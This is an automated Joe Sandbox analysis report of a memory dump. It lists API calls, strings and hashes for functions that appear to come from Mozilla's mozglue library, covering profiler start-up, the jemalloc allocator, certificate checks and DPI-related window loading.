Part of subcall function 6C5B5B50: GetTickCount64.KERNEL32 ref: 6C5B5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C5930BE

Part of subcall function 6C5930F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C593127
Part of subcall function 6C5930F0: __aulldiv.LIBCMT ref: 6C593140

Part of subcall function 6C5CAB2A: __onexit.LIBCMT ref: 6C5CAB30

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 8c658da38e944a57291170b108b12d053ca2e39e7b939eb1c12f2a439afa3b43
Instruction ID: 771cbc9c2c6df984d217f5b4f851c6bf751d952c4ef214a66e45f310ec0e91cf
Opcode Fuzzy Hash: 8c658da38e944a57291170b108b12d053ca2e39e7b939eb1c12f2a439afa3b43
Instruction Fuzzy Hash: 93F0D632E20788D6CB10DF798C921A67774AFAB115F50131AE85863921FB2066D883CB

Non-executed Functions

Function 6C5A5440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C5A5492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5A54A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5A54BE
__Init_thread_footer.LIBCMT ref: 6C5A54DB

Part of subcall function 6C5CAB3F: EnterCriticalSection.KERNEL32(6C61E370,?,?,6C593527,6C61F6CC,?,?,?,?,?,?,?,?,6C593284), ref: 6C5CAB49
Part of subcall function 6C5CAB3F: LeaveCriticalSection.KERNEL32(6C61E370,?,6C593527,6C61F6CC,?,?,?,?,?,?,?,?,6C593284,?,?,6C5B56F6), ref: 6C5CAB7C

Part of subcall function 6C5CCBE8: GetCurrentProcess.KERNEL32(?,6C5931A7), ref: 6C5CCBF1
Part of subcall function 6C5CCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5931A7), ref: 6C5CCBFA

GetCurrentThreadId.KERNEL32 ref: 6C5A54F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C5A5516
GetCurrentThreadId.KERNEL32 ref: 6C5A556A
AcquireSRWLockExclusive.KERNEL32(6C61F4B8), ref: 6C5A5577
moz_xmalloc.MOZGLUE(00000070), ref: 6C5A5585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C5A5590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C5A55E6
ReleaseSRWLockExclusive.KERNEL32(6C61F4B8), ref: 6C5A5606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5A5616

Part of subcall function 6C5CAB89: EnterCriticalSection.KERNEL32(6C61E370,?,?,?,6C5934DE,6C61F6CC,?,?,?,?,?,?,?,6C593284), ref: 6C5CAB94
Part of subcall function 6C5CAB89: LeaveCriticalSection.KERNEL32(6C61E370,?,6C5934DE,6C61F6CC,?,?,?,?,?,?,?,6C593284,?,?,6C5B56F6), ref: 6C5CABD1

GetCurrentThreadId.KERNEL32 ref: 6C5A563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5A5646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C5A567C
free.MOZGLUE(?), ref: 6C5A56AE

Part of subcall function 6C5B5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5B5EDB
Part of subcall function 6C5B5E90: memset.VCRUNTIME140(ew_l,000000E5,?), ref: 6C5B5F27
Part of subcall function 6C5B5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5B5FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C5A56E8
GetCurrentThreadId.KERNEL32 ref: 6C5A5707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C5A570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C5A5729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C5A574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C5A576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C5A5796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C5A57B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C5A57CA

Strings

MOZ_PROFILER_STARTUP, xrefs: 6C5A55E1
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C5A5B38
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C5A57AE
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C5A5D2B
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C5A5766
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C5A5791
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C5A5C56
GeckoMain, xrefs: 6C5A5554, 6C5A55D5
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C5A5D1C
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C5A5D01
[I %d/%d] profiler_init, xrefs: 6C5A564E
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C5A5BBE
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C5A5717
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C5A5724
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C5A5D24
MOZ_BASE_PROFILER_HELP, xrefs: 6C5A5511
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C5A57C5
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C5A5AC9
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C5A56E3
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C5A5749
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C5A5CF9
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C5A584E
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C5A548D
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C5A54A3
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C5A54B9

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 24a98043a40eb868f8b950b30031136d96bd3f038ebd1766f1b9beb03edc06fe
Instruction ID: e2aa91414e28373626eba14f084751971a0cec0460178c56c91896b5a91bcc5e
Opcode Fuzzy Hash: 24a98043a40eb868f8b950b30031136d96bd3f038ebd1766f1b9beb03edc06fe
Instruction Fuzzy Hash: 992238B0A047009FDB009FBA8C55B5E77B0AF8634AF84452AF84697F41EB31D946CB5B

Function 6C5DB820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5DB845
AcquireSRWLockExclusive.KERNEL32(6C61F4B8,?,?,00000000), ref: 6C5DB852
ReleaseSRWLockExclusive.KERNEL32(6C61F4B8), ref: 6C5DB884
InitializeConditionVariable.KERNEL32(?), ref: 6C5DB8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C5DB9FD
GetCurrentThreadId.KERNEL32 ref: 6C5DBA05
AcquireSRWLockExclusive.KERNEL32(6C61F4B8,?,?,00000000), ref: 6C5DBA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6C5DBA27
ReleaseSRWLockExclusive.KERNEL32(6C61F4B8), ref: 6C5DBA4B
free.MOZGLUE(?), ref: 6C5DC9C7
free.MOZGLUE(?), ref: 6C5DC9DC

Strings

[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6C5DC7DA
[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6C5DC878

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: 80761432766630d2fb5787ea1ed0428cdf23239140d420a070cc2c132ec93ab5
Instruction ID: f6956605e64eed490dda77fb822c676941e9101390aaf5091d213134bbb776f4
Opcode Fuzzy Hash: 80761432766630d2fb5787ea1ed0428cdf23239140d420a070cc2c132ec93ab5
Instruction Fuzzy Hash: 14A2AE71A083808FC725CF29C89079FB7E6BFC9314F454A2DE899A7751DB70A905CB86

Function 6C5A6C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C5A6CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C5A6D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C5A6D26

Part of subcall function 6C5ACA10: malloc.MOZGLUE(?), ref: 6C5ACA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C5A6D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C5A6D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C5A6D73
free.MOZGLUE(00000000), ref: 6C5A6D80
CertGetNameStringW.CRYPT32 ref: 6C5A6DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C5A6DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C5A6DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C5A6DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C5A6E10
CryptMsgClose.CRYPT32(00000000), ref: 6C5A6E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C5A6E34
CreateFileW.KERNEL32 ref: 6C5A6EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C5A6F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C5A6F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C5A709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C5A7103
free.MOZGLUE(00000000), ref: 6C5A7153
CloseHandle.KERNEL32(?), ref: 6C5A7176
__Init_thread_footer.LIBCMT ref: 6C5A7209
__Init_thread_footer.LIBCMT ref: 6C5A723A
__Init_thread_footer.LIBCMT ref: 6C5A726B
__Init_thread_footer.LIBCMT ref: 6C5A729C
__Init_thread_footer.LIBCMT ref: 6C5A72DC
__Init_thread_footer.LIBCMT ref: 6C5A730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C5A73C2
VerSetConditionMask.NTDLL ref: 6C5A73F3
VerSetConditionMask.NTDLL ref: 6C5A73FF
VerSetConditionMask.NTDLL ref: 6C5A7406
VerSetConditionMask.NTDLL ref: 6C5A740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C5A741A
moz_xmalloc.MOZGLUE(?), ref: 6C5A755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5A7568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C5A7585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C5A7598
free.MOZGLUE(00000000), ref: 6C5A75AC

Part of subcall function 6C5CAB89: EnterCriticalSection.KERNEL32(6C61E370,?,?,?,6C5934DE,6C61F6CC,?,?,?,?,?,?,?,6C593284), ref: 6C5CAB94
Part of subcall function 6C5CAB89: LeaveCriticalSection.KERNEL32(6C61E370,?,6C5934DE,6C61F6CC,?,?,?,?,?,?,?,6C593284,?,?,6C5B56F6), ref: 6C5CABD1

Strings

CryptCATAdminReleaseCatalogContext, xrefs: 6C5A72C8
wintrust.dll, xrefs: 6C5A72CD
(, xrefs: 6C5A768A
SHA256, xrefs: 6C5A6EC0

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: b5f05f4c4de1718a4e2c172f198fd4dd06d0ae7137638ec1b865235e0cc709bb
Instruction ID: 3ad935e1cc9c1aca3d6ac9cc614699f4a1c2b9877c0960ac1eb9e4e27418ecb0
Opcode Fuzzy Hash: b5f05f4c4de1718a4e2c172f198fd4dd06d0ae7137638ec1b865235e0cc709bb
Instruction Fuzzy Hash: A152D6B1A003149FEB21DF6ACC85BAE77B8EF85705F004599E509A7A40DB30AF85CF55

Function 6C5C6FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C61E7DC), ref: 6C5C7019
LeaveCriticalSection.KERNEL32(6C61E7DC), ref: 6C5C7061
EnterCriticalSection.KERNEL32(?), ref: 6C5C71A4
LeaveCriticalSection.KERNEL32(?), ref: 6C5C721D
memcpy.VCRUNTIME140(?,?,?), ref: 6C5C723E
EnterCriticalSection.KERNEL32(?), ref: 6C5C726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6C5C72B2
LeaveCriticalSection.KERNEL32(?), ref: 6C5C733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6C5C73E8
LeaveCriticalSection.KERNEL32(?), ref: 6C5C961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5C9622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5C9642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5C964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5C96CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5C96DB
AcquireSRWLockExclusive.KERNEL32(6C61E804), ref: 6C5C9747
GetSystemInfo.KERNEL32(?), ref: 6C5C9792
__Init_thread_footer.LIBCMT ref: 6C5C97A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C61E810,00000040), ref: 6C5C97CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6C61E7B8,00001388), ref: 6C5C9838
InitializeCriticalSectionAndSpinCount.KERNEL32(6C61E744,00001388), ref: 6C5C984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6C61E784,00001388), ref: 6C5C9874
InitializeCriticalSectionAndSpinCount.KERNEL32(6C61E7DC,00001388), ref: 6C5C9895

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5C99A8
MALLOC_OPTIONS, xrefs: 6C5C97CA
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5C9933, 6C5C9A33, 6C5C9A4E
MOZ_CRASH(), xrefs: 6C5C9B42
Compile-time page size does not divide the runtime one., xrefs: 6C5C9B38
<jemalloc>, xrefs: 6C5C9B33, 6C5C9BE3
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C5C99D2
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5C99BD
: (malloc) Unsupported character in malloc options: ', xrefs: 6C5C9BF4
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C5C9993

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: 71acd11f69ea74e14df534de67a3e1138b6ca7b4658e75dd41f9855d9f98e4d4
Instruction ID: 9ae716d59ce11d0b45089af949c8bba9e89cbea58e8e72eb3f37f715f893bea7
Opcode Fuzzy Hash: 71acd11f69ea74e14df534de67a3e1138b6ca7b4658e75dd41f9855d9f98e4d4
Instruction Fuzzy Hash: FA536E71B057018FD704CF69C980615BBE1FF89328F29C6ADE8699BB91D771E841CB82

Function 6C5D0DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C5D0F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C5D0F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C5D0FB7
EnterCriticalSection.KERNEL32(?), ref: 6C5D0FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C5D1031
LeaveCriticalSection.KERNEL32(?), ref: 6C5D10D0
EnterCriticalSection.KERNEL32(?), ref: 6C5D117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C5D1C39
EnterCriticalSection.KERNEL32(6C61E744), ref: 6C5D3391
LeaveCriticalSection.KERNEL32(6C61E744), ref: 6C5D33CD
LeaveCriticalSection.KERNEL32(?), ref: 6C5D3431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5D3437

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5D37A8
MALLOC_OPTIONS, xrefs: 6C5D35FE
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5D3559, 6C5D382D, 6C5D3848
MOZ_CRASH(), xrefs: 6C5D3950
Compile-time page size does not divide the runtime one., xrefs: 6C5D3946
<jemalloc>, xrefs: 6C5D3941, 6C5D39F1
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C5D37D2
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5D37BD
: (malloc) Unsupported character in malloc options: ', xrefs: 6C5D3A02
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C5D3793

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 83576cdc3269e2767ec0945c1798863da67b74423d318df0380f9b37efbc67da
Instruction ID: 4549f904aae323eafa4708221c06a1c6eb0b55d59dabf70c561f0510b799c971
Opcode Fuzzy Hash: 83576cdc3269e2767ec0945c1798863da67b74423d318df0380f9b37efbc67da
Instruction Fuzzy Hash: 68535A71A057018FD704CF2DC980616BBF1BF89328F2AC66DE8699BB91D771E841CB85

Function 6C5F55F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6C5CE1A5), ref: 6C5F5606
LoadLibraryW.KERNEL32(gdi32,?,6C5CE1A5), ref: 6C5F560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C5F5633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C5F563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C5F566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C5F567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C5F5696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C5F56B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C5F56CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C5F56E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C5F56FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C5F5716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C5F572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C5F5748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C5F5761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C5F577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C5F5793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C5F57A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C5F57BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C5F57D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C5F57EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C5F57FF

Strings

GetWindowDC, xrefs: 6C5F5710
StretchDIBits, xrefs: 6C5F57CC
user32, xrefs: 6C5F5601
SetWindowLongPtrW, xrefs: 6C5F57B7
GetMonitorInfoW, xrefs: 6C5F57A2
RegisterClassW, xrefs: 6C5F56AC
CreateSolidBrush, xrefs: 6C5F57E4
GetDpiForWindow, xrefs: 6C5F5690
CreateWindowExW, xrefs: 6C5F56C5
FillRect, xrefs: 6C5F5729
MonitorFromWindow, xrefs: 6C5F578D
ReleaseDC, xrefs: 6C5F5742
AreDpiAwarenessContextsEqual, xrefs: 6C5F5637
LoadCursorW, xrefs: 6C5F5774
GetThreadDpiAwarenessContext, xrefs: 6C5F562D
DeleteObject, xrefs: 6C5F57F9
GetSystemMetricsForDpi, xrefs: 6C5F5677
EnableNonClientDpiScaling, xrefs: 6C5F5666
LoadIconW, xrefs: 6C5F575B
gdi32, xrefs: 6C5F560A
ShowWindow, xrefs: 6C5F56DE
SetWindowPos, xrefs: 6C5F56F7

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
